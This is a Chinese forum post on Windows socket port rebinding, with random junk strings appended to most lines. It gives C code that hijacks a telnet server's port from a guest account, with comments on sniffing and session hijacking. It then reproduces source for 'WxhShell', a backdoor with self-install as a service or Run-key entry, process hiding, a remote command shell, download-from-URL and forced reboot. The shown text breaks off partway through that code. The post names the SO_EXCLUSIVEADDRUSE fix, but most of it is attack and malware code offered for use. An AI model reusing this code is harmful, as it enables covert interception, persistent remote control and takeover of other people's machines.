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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s<gZB:~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7Ipt~K}  
IGv_s+O-*  
  saddr.sin_family = AF_INET; vpXC5|9U  
>JwdVy^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r@FdxsCnGM  
+qq,;npi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9 tkj:8_  
W)JUMW2|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $V-]DD%Y  
B 3|zR  
  这意味着什么?意味着可以进行如下的攻击: 21D4O,yCe  
}HtP8F8!x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kv&%$cA  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a(Ka2;M4J  
-cs 4<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j*f%<`2`j  
W"S,~y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &[,g `S0  
UfjLNe}wA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c+?L?s`"  
},'hhj]O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6cz%>@  
I7TdBe-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2Fi>nJ  
"Pi\I9M3  
  #include bcL>S$B  
  #include ,6Sa  
  #include ^_6%dKLK  
  #include    _?>!Bz m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4NN-'Z>a  
  int main() 3 lH#+@  
  { 7 vUfA"  
  WORD wVersionRequested; u{0+w\xH\  
  DWORD ret;  v'i"Q  
  WSADATA wsaData; LqIMU4Ex  
  BOOL val; !+Z"7e nj  
  SOCKADDR_IN saddr; A Ntp7ad  
  SOCKADDR_IN scaddr; sj a;NL  
  int err; J7$1+|"  
  SOCKET s; u/!U/|  
  SOCKET sc; 5 EDHJU>  
  int caddsize; 6i[\?7O'0  
  HANDLE mt; QT{$2 7;  
  DWORD tid;   GlP [:  
  wVersionRequested = MAKEWORD( 2, 2 ); 3U<\y6/  
  err = WSAStartup( wVersionRequested, &wsaData ); 0h!2--Aur  
  if ( err != 0 ) { BF8n: }9U  
  printf("error!WSAStartup failed!\n"); S+>&O3m  
  return -1; ~-x8@ /   
  } nP?=uGqCBq  
  saddr.sin_family = AF_INET; IIeEe7%#  
   }l$M%Ps!a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'D%No!+Py  
>0)E\_ u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q)gZo[]~  
  saddr.sin_port = htons(23); W> .O"Ri  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2n+j.  
  { H^xrFXg~z  
  printf("error!socket failed!\n"); 5&7)hMppI  
  return -1; ,{ CgOz+Ul  
  } s([9 /ED  
  val = TRUE; mXlXB#N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W093rNF~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L]B]~Tw  
  { ]_I<-}?;  
  printf("error!setsockopt failed!\n"); TFbCJ@X  
  return -1; \<|a>{`7]i  
  } rMxst  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WIOV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /' L20aN2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~6U@*Svk  
qTC`[l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mkYM/*qyM&  
  { w3Aq[1U0  
  ret=GetLastError(); #W 1`vke3  
  printf("error!bind failed!\n"); FMY r6/I  
  return -1; W6'+#Fp  
  } .6!]RA5!=  
  listen(s,2); lnbw-IE!  
  while(1) L6BHh_*E  
  { SAs'u"EB  
  caddsize = sizeof(scaddr); RUf,)]Vvk  
  //接受连接请求 H:U1#bQQ:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RTA9CR)JP4  
  if(sc!=INVALID_SOCKET) GEA@AD=^f  
  { 2t1WbP1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [#j|TBMHM  
  if(mt==NULL) ; 5my(J*b  
  { 51`w.ri  
  printf("Thread Creat Failed!\n"); }n=Tw92g  
  break; sC ]&Qr_  
  } A42At]  
  } z-[Jbjhd  
  CloseHandle(mt); {0QD-b o  
  } M(Jf&h4b  
  closesocket(s); \#tr4g~u  
  WSACleanup(); qfC9 {gu  
  return 0; a&L8W4  
  }   ""D rf=]  
  DWORD WINAPI ClientThread(LPVOID lpParam) )%X\5]w`  
  { tl;?/  
  SOCKET ss = (SOCKET)lpParam; SZG8@ !_}7  
  SOCKET sc; BOL_kp"   
  unsigned char buf[4096]; W$gSpZ_7  
  SOCKADDR_IN saddr; K/Q;]+D  
  long num; 6e  |  
  DWORD val; Aplqx vth  
  DWORD ret; =eac,]31  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Uw61X>y=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sf\;|`}  
  saddr.sin_family = AF_INET; P_-zkw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +hjc~|RK  
  saddr.sin_port = htons(23); Zu%_kpW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2_r}4)z  
  { _I{&5V~z  
  printf("error!socket failed!\n"); b% $S6.  
  return -1; H/)=  
  } A ,LAA$  
  val = 100; nkJ*$cT1o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @GnsW;$*~.  
  { 8>pFpS  
  ret = GetLastError(); [n74&EH  
  return -1; q6j]j~JxB  
  } lS?f?n^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ip>dHj z  
  { IZAbW  
  ret = GetLastError(); GmAE!+"  
  return -1; `R:<(:  
  } s\7|b:y&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F,:F9r?l,H  
  { zztW7MG2lQ  
  printf("error!socket connect failed!\n"); GrM~ %ng  
  closesocket(sc); =[1 W.Zt  
  closesocket(ss); c |C12b[  
  return -1; uT-WQ/id  
  } MIR17%G  
  while(1) Q&QR{?PMD  
  { 7/*; rT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oAvJ"JH@i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jr''S}@|x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]|[xY8 5}  
  num = recv(ss,buf,4096,0); , R^Pk6m>  
  if(num>0) saRB~[6I  
  send(sc,buf,num,0); W_sDF; JP  
  else if(num==0) "X]u fZ7  
  break; Z@ I%ppd  
  num = recv(sc,buf,4096,0); -3 W 4  
  if(num>0) m};_\Db`  
  send(ss,buf,num,0); snEkei|0  
  else if(num==0) D ^ &!  
  break; ;U7\pc;S  
  } TfZO0GL$  
  closesocket(ss); Ok:@F/ v  
  closesocket(sc); DJn>. Gd  
  return 0 ; 'HqAm$V+  
  } >_F& oA#  
AOWI`  
PTePSj1N  
========================================================== *=2jteG=3.  
v>nJy~O]  
下边附上一个代码,,WXhSHELL fmSw%r|pT  
p19Zxh  
========================================================== zJ9,iJyuD  
[ B (lJz  
#include "stdafx.h" ]a:kP,  
4h~Oj y16&  
#include <stdio.h> kb%W3c9HO  
#include <string.h> Q z/pz_}  
#include <windows.h> +Nza@B d  
#include <winsock2.h> cnIy*!cJs  
#include <winsvc.h> %^5$=w  
#include <urlmon.h>  (K?[gI  
5cfzpOqr0  
#pragma comment (lib, "Ws2_32.lib") C*gSx3OG  
#pragma comment (lib, "urlmon.lib") =  Oq;  
\2+xMv)8  
#define MAX_USER   100 // 最大客户端连接数 b _u&%  
#define BUF_SOCK   200 // sock buffer S3J6P2P  
#define KEY_BUFF   255 // 输入 buffer u8W*_;%:  
$ o t"Du  
#define REBOOT     0   // 重启 "RShsJZMH  
#define SHUTDOWN   1   // 关机 tNUcmiY  
VJ$C)0xQA  
#define DEF_PORT   5000 // 监听端口 gai?LXM l}  
#Se  
#define REG_LEN     16   // 注册表键长度 Hou{tUm{xC  
#define SVC_LEN     80   // NT服务名长度 qq?>ulu*W  
}40/GWp<f  
// 从dll定义API n!N;WL3k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A>4k4*aFm#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *U8#'Uan  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +f7?L]wzic  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ivagS\Q  
%(kq Hxc  
// wxhshell配置信息 .i. |wY  
struct WSCFG { J}YI-t  
  int ws_port;         // 监听端口 E"" /dC:B  
  char ws_passstr[REG_LEN]; // 口令 e6_.ID'3  
  int ws_autoins;       // 安装标记, 1=yes 0=no pGcc6q1  
  char ws_regname[REG_LEN]; // 注册表键名 {jc~s~<#  
  char ws_svcname[REG_LEN]; // 服务名 m9q%l_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |Ji?p>\~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Dn-vY'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .(hb8 rCM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -e)bq: T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nRo`O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (la   
txgGL'  
}; Dr2h-  
_cJ{fYwYU  
// default Wxhshell configuration E8j9@BHU[r  
struct WSCFG wscfg={DEF_PORT, f,-|"_5;   
    "xuhuanlingzhe", cPN7^*  
    1, yf8UfB#a  
    "Wxhshell", CVUJ(D&Q  
    "Wxhshell", }3*h`(Bv7  
            "WxhShell Service", .*f;v4!  
    "Wrsky Windows CmdShell Service", >3kR~:;  
    "Please Input Your Password: ", J`8>QMK^5  
  1, s<dD>SU  
  "http://www.wrsky.com/wxhshell.exe", @t2 Q5c  
  "Wxhshell.exe" P0Jd6"sS"  
    }; zk/!#5JtK  
$e;!nI;z  
// 消息定义模块 R5i8cjKZ?w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QP;b\1 1m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q+:(@w6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; feopO j6~+  
char *msg_ws_ext="\n\rExit."; ]_=HC5"  
char *msg_ws_end="\n\rQuit."; 8qc %{8  
char *msg_ws_boot="\n\rReboot..."; 'LOqGpmVc  
char *msg_ws_poff="\n\rShutdown..."; ^GAdl}  
char *msg_ws_down="\n\rSave to "; 'wZy: c  
-'N#@Wdr  
char *msg_ws_err="\n\rErr!"; C[KU~@  
char *msg_ws_ok="\n\rOK!"; E*I]v  
V*m)h  
char ExeFile[MAX_PATH]; XH2 SEeh  
int nUser = 0; mQvKreo~  
HANDLE handles[MAX_USER]; m@Nx`aS?  
int OsIsNt; j(BS;J$i  
|HU qqlf  
SERVICE_STATUS       serviceStatus; :aqh8b v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \|pAn  
ZB2'm3'bh  
// 函数声明 v\k,,sI  
int Install(void); }ri*e2y)  
int Uninstall(void); r zmk-V  
int DownloadFile(char *sURL, SOCKET wsh); [.I,B tY+  
int Boot(int flag); e>>G4g  
void HideProc(void); G9a%N  
int GetOsVer(void); pkU e|V  
int Wxhshell(SOCKET wsl); u7C{>  
void TalkWithClient(void *cs); Hb+#*42v  
int CmdShell(SOCKET sock); ]dK]a:S  
int StartFromService(void); A{J1 n  
int StartWxhshell(LPSTR lpCmdLine); C~;0A!@]Y  
bsP ;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]~.J@ 1?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mce`1Tjw  
p)^:~ ll  
// 数据结构和表定义 )eFFtnu5  
SERVICE_TABLE_ENTRY DispatchTable[] = z-gwNE{  
{ &0eB@8{N  
{wscfg.ws_svcname, NTServiceMain},  ke#;1  
{NULL, NULL} w.Vynb  
}; L@_">' pR  
Wi5|9  
// 自我安装 j>Z]J'P  
int Install(void) PM.SEzhm  
{ p<zXuocQ  
  char svExeFile[MAX_PATH]; {e%abr_B  
  HKEY key; ThlJhTh<%4  
  strcpy(svExeFile,ExeFile); >a7(A#3@d  
eE{L>u  
// 如果是win9x系统,修改注册表设为自启动 7 h1"8#X  
if(!OsIsNt) { uBTT {GGQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m3(T0.j0P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -n *>zGc  
  RegCloseKey(key); 9$,gTU_a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P{Z71a5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M96( Rg  
  RegCloseKey(key); V0 F30rK  
  return 0; zn ?;>Bl  
    } c9 uT`h  
  } !~N4}!X3du  
} w~U`+2a3  
else { rc$!$~|I3Z  
mVK9NK  
// 如果是NT以上系统,安装为系统服务 v|I5Gz$qpa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k4$q|x7+%  
if (schSCManager!=0) KY`96~z  
{ <VU4rk^=  
  SC_HANDLE schService = CreateService y,&M\3A  
  ( hcgc =$^  
  schSCManager, o1WidJ"  
  wscfg.ws_svcname, yOK])&c  
  wscfg.ws_svcdisp, =]QH78\3  
  SERVICE_ALL_ACCESS, 7Hl_[n|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^CPfo/!  
  SERVICE_AUTO_START, i"]8Zw_D  
  SERVICE_ERROR_NORMAL, K~8tN ,~&  
  svExeFile, mrC+J*  
  NULL, @6co\.bv  
  NULL, @5jG  
  NULL, B#6pQp$  
  NULL, M6'C3,y0  
  NULL yJ8}*Gj&  
  ); T4=3VrS  
  if (schService!=0) n]DNxC@b  
  { K) `:v|d  
  CloseServiceHandle(schService); 1 j12Qn@]  
  CloseServiceHandle(schSCManager); bez'[Y{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .Sr:"SrT  
  strcat(svExeFile,wscfg.ws_svcname); (Q5@MfK`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T#n1@FgC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3EVC8ue  
  RegCloseKey(key); Ke?gz:9j  
  return 0; 0 BCGJFZ{  
    } OJsd[l3xR  
  } mp,e9Nd;  
  CloseServiceHandle(schSCManager); N+M&d3H`  
} n<:d%&^n  
} vaRwh E:  
"'!%};  
return 1; Dw`m>'J0  
} 0O#B'Uu  
R==cz^#  
// 自我卸载 Ejms)JK+  
int Uninstall(void) 0R}Sw[M.  
{ >_`D3@Rz  
  HKEY key; [DxefYyI  
ZSRR lkU  
if(!OsIsNt) { "P'&+dH8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ls24ccOs  
  RegDeleteValue(key,wscfg.ws_regname); l^!A  
  RegCloseKey(key); -#wVtXaSc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZjZhz`  
  RegDeleteValue(key,wscfg.ws_regname); `_1(Q9Q  
  RegCloseKey(key); PDt<lJU+X  
  return 0; )J+{oB[>b  
  } $}nh[@  
} .ts0LDk0f  
} h ??C4z  
else { A!{.|x[S44  
&'(a$ S>v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q+d.%qhc  
if (schSCManager!=0) [2'm`tZL  
{ Aw4?y[{H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gr>o E#7  
  if (schService!=0) ,|.8nk"  
  { xIQ/$[&v  
  if(DeleteService(schService)!=0) { MkDK/K$s  
  CloseServiceHandle(schService); 4Oy.,MDQP  
  CloseServiceHandle(schSCManager); ojx'g8yO  
  return 0; bEBBwv  
  } yQZ/ ,KX  
  CloseServiceHandle(schService); *`ZB+ \*  
  } #*$_S@  
  CloseServiceHandle(schSCManager); {^cF(7p  
} vx!::V7s6  
} WQ[}&kY~  
-R&E,X7N  
return 1; ,g/ _eROJ  
} G#w^:UL  
zg#m09[4  
// 从指定url下载文件 7G.o@p6$  
int DownloadFile(char *sURL, SOCKET wsh) \\S/ NA  
{ fey*la Xq  
  HRESULT hr; n @ &"+  
char seps[]= "/"; *BLe3dok(  
char *token; kS+r"e .TM  
char *file; ({%oi h  
char myURL[MAX_PATH]; +Y>"/i. N  
char myFILE[MAX_PATH]; [eNkU">}  
|rHG%VnBH  
strcpy(myURL,sURL); u>}w-  
  token=strtok(myURL,seps); 1Xy8|OFc[  
  while(token!=NULL) M3Khc#5S(  
  { P +dA~2k  
    file=token; 9- xlvU,o  
  token=strtok(NULL,seps); mRhd/|g*  
  } 7fju  
t7w-TJvP  
GetCurrentDirectory(MAX_PATH,myFILE); ~u /aOd  
strcat(myFILE, "\\"); &8<<!#ob  
strcat(myFILE, file); yo\N[h7  
  send(wsh,myFILE,strlen(myFILE),0); khU6*`lQ  
send(wsh,"...",3,0); 7/H^<%;y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fJN*s  
  if(hr==S_OK) 1, "I=  
return 0; ~+O`9&  
else m'cz5mcD  
return 1; E X%6''ys  
`$s)X$W?  
} 3CR@' qG-  
;,1=zhKU.  
// 系统电源模块 lPM3}52Xu  
int Boot(int flag) D]IBB>F  
{ f64(a\Rw!^  
  HANDLE hToken; M1oPOC\0.  
  TOKEN_PRIVILEGES tkp; $hkq>i \  
5D,.^a1 A  
  if(OsIsNt) { b4>``n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XE_ir Et  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?y ~TCqV  
    tkp.PrivilegeCount = 1; I=K!)X$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NO-k-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 10wvfRhng  
if(flag==REBOOT) { q7X}MAW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r&}(9Cq&"y  
  return 0; {5^K Xj$B  
} \6{krn|  
else { qysTjGwa]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iI5+P`sE&J  
  return 0; s\[LpLt  
} KZ=u54  
  } &V'519vmoZ  
  else { CuH2E>wz  
if(flag==REBOOT) { 7vn%kW=$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~C&*.ZR  
  return 0; 9O;cJ)tXY  
} qG<7hr@x]  
else { t\h$&[[l'z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p SHSgd ~&  
  return 0; wV(AT$  
} _7U]&Nh99  
} X1+ wX`f  
'Qa5n\HX$  
return 1; w OI^Q~  
} LL&ud_Y  
/<);=&[  
// win9x进程隐藏模块 QK)){ cK  
void HideProc(void) JB3"EFv  
{ !8sgq{x((  
HPg3`Ul  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8S\RN&T$  
  if ( hKernel != NULL ) u*3NS$vH  
  { :.k ZR;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 07V8;A<,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,7W:fwdR  
    FreeLibrary(hKernel); {( #zcK  
  } o*">KqU`b  
Dj i^+;"&  
return; DAfyK?+UL  
} 9mlIbEAb  
 Tc6:UF  
// 获取操作系统版本 ='Q{R*u  
int GetOsVer(void) n]Zk;%yL  
{ 9'?se5\  
  OSVERSIONINFO winfo; aSC9&Nf;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )p<WDiX1!e  
  GetVersionEx(&winfo); ~@T<gA9V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IOL L1ar  
  return 1; Q_]d5pl  
  else 7p.>\YtoR}  
  return 0; "13 "`!m  
} }pVTTs`  
F/p,j0S  
// 客户端句柄模块 =pcF:D#+  
int Wxhshell(SOCKET wsl) &?0:v`4Y  
{ s,6`RI%  
  SOCKET wsh; Xa," 'r  
  struct sockaddr_in client; ~. YWV  
  DWORD myID; Z:*@5  
j%L&jH 6@  
  while(nUser<MAX_USER) {Z> M  
{ K=dR%c(  
  int nSize=sizeof(client); `0ZZ/] !L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qck| #tc  
  if(wsh==INVALID_SOCKET) return 1; u7fK1 ^O  
S${Zzt"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1|{bDlmt  
if(handles[nUser]==0) "5C`,4s  
  closesocket(wsh); ?-MP_9!JK  
else *4S-z&,.c  
  nUser++; qnM|w~G  
  } -`+<{NHv\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BecP T  
:u6JjW[a)  
  return 0; !z 53OT!  
} b&#DnZcf  
eg/<[ A:  
// 关闭 socket MP^ d}FL  
void CloseIt(SOCKET wsh) AH#4wPxF  
{ :XG;ru%i  
closesocket(wsh); =PkO!Mm8  
nUser--; QSw<%pcJE@  
ExitThread(0); ht=P\E  
}  R'}95S<  
~1 ~Xfo>  
// 客户端请求句柄 S?ujRp  
void TalkWithClient(void *cs) 7%MbhlN.  
{ DC+b=IOz  
t23'x0l  
  SOCKET wsh=(SOCKET)cs; ^03j8Pc-c  
  char pwd[SVC_LEN]; 2f>PO +4S{  
  char cmd[KEY_BUFF]; >&,[H:Z  
char chr[1]; #3$\Iu  
int i,j; K+Y^>N4m  
-d+aV1n  
  while (nUser < MAX_USER) { `F t]MR  
h.eM RdlO  
if(wscfg.ws_passstr) { @L/o\pvc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @I`C#~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R=Zn -q  
  //ZeroMemory(pwd,KEY_BUFF); ^EELaG  
      i=0; "9!d]2.-Vk  
  while(i<SVC_LEN) { 2I/xJ+  
$e1=xSQp4  
  // 设置超时 Cx<0 H  
  fd_set FdRead; O`G/=/GZ  
  struct timeval TimeOut; =,y |00l  
  FD_ZERO(&FdRead); 80b;I|-T,  
  FD_SET(wsh,&FdRead); \1"'E@+  
  TimeOut.tv_sec=8; 6%,C_7j  
  TimeOut.tv_usec=0; ~y HU^5D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q  h/F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;0rGiWC#  
'e)^m}:?D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j/`94'Y  
  pwd=chr[0]; k%s_0 @  
  if(chr[0]==0xd || chr[0]==0xa) { a"N4~?US  
  pwd=0; Y;4!i?el  
  break; ldha|s.*  
  } Tm}rH]F&  
  i++; XfPFo6  
    } 7?j;7.i s(  
IU FH:w]  
  // 如果是非法用户,关闭 socket M<O{O}t<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vd^g9  
} E 99hlY~1:  
$YxBE`)d-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (*}yjUYLZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j9Yb x#  
^G&3sF}  
while(1) { ^d}gpin  
&LO"g0w  
  ZeroMemory(cmd,KEY_BUFF); T>TWU:  
ca i <,3H  
      // 自动支持客户端 telnet标准   K 0gI):  
  j=0; z>sbr<doa  
  while(j<KEY_BUFF) { @NhvnfZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K<?nq0-  
  cmd[j]=chr[0]; o#) {1<0vg  
  if(chr[0]==0xa || chr[0]==0xd) { }En  
  cmd[j]=0; !+>v[(OzM  
  break; qm/Q65>E  
  } :NJ_n6E  
  j++; =_$Qtq+h  
    } 2M#M"LHo  
OsBo+fwT  
  // 下载文件 <,o>Wx*1C  
  if(strstr(cmd,"http://")) { W} WI; cI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^b:( jI*l  
  if(DownloadFile(cmd,wsh)) .2d9?p3Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :w}{$v}#D;  
  else T134ZXqqz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ojYbR<jn9  
  } Xq'cA9v=$J  
  else { EA ]+vq  
f}g\D#`]/  
    switch(cmd[0]) { R_M?dEtE>  
  b0 iSn#$  
  // 帮助 'iLpE7  
  case '?': { 4tL<q_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~ wg:!VWA)  
    break; X%yO5c\l2  
  } ]7-&V-Ct*  
  // 安装 F, U*yj  
  case 'i': { SGb;!T *  
    if(Install()) =*p/F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +"9hWb5  
    else g^*<f8 ~d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;^t{Il'j  
    break; h(WrL  
    } dJ$"l|$$  
  // 卸载 fXrXV~'8  
  case 'r': { d%l{V6  
    if(Uninstall()) ^u 3V E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OL4z%mDZi  
    else Y5fLmPza  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {U&.D [{&  
    break; 74!oe u.>  
    } !9 fz(9  
  // 显示 wxhshell 所在路径 :W b j\  
  case 'p': { Ol4+_n8xj  
    char svExeFile[MAX_PATH];  >S$Z  
    strcpy(svExeFile,"\n\r"); ss;R8:5  
      strcat(svExeFile,ExeFile); xsWur(>]  
        send(wsh,svExeFile,strlen(svExeFile),0); \*=7#Vd  
    break; 'SQG>F Uy  
    } (sVi\R  
  // 重启 nUkaz*4qU  
  case 'b': { '_|h6<.k[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  XL7h}  
    if(Boot(REBOOT)) lu Q~YjH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aF03a-qw<  
    else { cuOvN"nuNj  
    closesocket(wsh); %Uz(Vd#K  
    ExitThread(0); =8U&[F  
    } Q:J^"  
    break; >X*Mio8P#  
    } GhPK-+"X  
  // 关机 ,3nN[)dk  
  case 'd': { OY?y^45y  
